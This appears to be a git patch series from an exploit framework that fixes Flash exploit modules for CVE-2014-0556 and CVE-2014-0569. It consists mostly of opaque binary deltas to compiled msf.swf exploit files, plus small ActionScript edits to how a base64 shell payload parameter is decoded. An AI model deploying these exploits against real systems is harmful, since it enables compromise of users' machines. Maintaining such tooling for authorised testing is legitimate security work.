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 diff --git a/external/source/exploits/CVE-2014-0556/Main.as b/external/source/exploits/CVE-2014-0556/Main.as index 99364ccd47..98d79ea459 100755 --- a/external/source/exploits/CVE-2014-0556/Main.as +++ b/external/source/exploits/CVE-2014-0556/Main.as @@ -27,8 +27,12 @@ package public function Main() { var b64:Base64Decoder = new Base64Decoder() - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - var payload:String = b64.toByteArray().toString() + + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + var payload:String = b64.toByteArray().toString() for (i = 0; i < bv.length; i++) { bv[i] = new ByteArray() From e0a1fa4ef6aa69b2d822c74970de35b371b4c01b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 15:38:56 -0500 Subject: [PATCH 30/55] Fix indentation --- data/exploits/CVE-2014-0556/msf.swf | Bin external/source/exploits/CVE-2014-0556/Main.as | 11 +++++------ 2 files changed, 5 insertions(+), 6 deletions(-) mode change 100644 => 100755 data/exploits/CVE-2014-0556/msf.swf diff --git a/data/exploits/CVE-2014-0556/msf.swf b/data/exploits/CVE-2014-0556/msf.swf old mode 100644 new mode 100755 diff --git a/external/source/exploits/CVE-2014-0556/Main.as b/external/source/exploits/CVE-2014-0556/Main.as index 98d79ea459..da6482075c 100755 --- a/external/source/exploits/CVE-2014-0556/Main.as +++ b/external/source/exploits/CVE-2014-0556/Main.as @@ -27,12 +27,11 @@ package public function Main() { var b64:Base64Decoder = new Base64Decoder() - - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - var payload:String = b64.toByteArray().toString() + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + var payload:String = b64.toByteArray().toString() for (i = 0; i < bv.length; i++) { bv[i] = new ByteArray() From d78d04e0701b1ca399213b000e3a3295f2ae7c42 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 15:49:22 -0500 Subject: [PATCH 31/55] Fix CVE-2014-0569 --- data/exploits/CVE-2014-0569/msf.swf | Bin 17933 -> 18021 bytes .../source/exploits/CVE-2014-0569/Main.as | 11 +++++++---- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/data/exploits/CVE-2014-0569/msf.swf b/data/exploits/CVE-2014-0569/msf.swf index 90737fca369ad0f015ceb51d7c44efa5fc4f30a1..a124c560f09b1a9ff03b1080ce13873cecc9d9d6 100755 GIT binary patch delta 17880 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 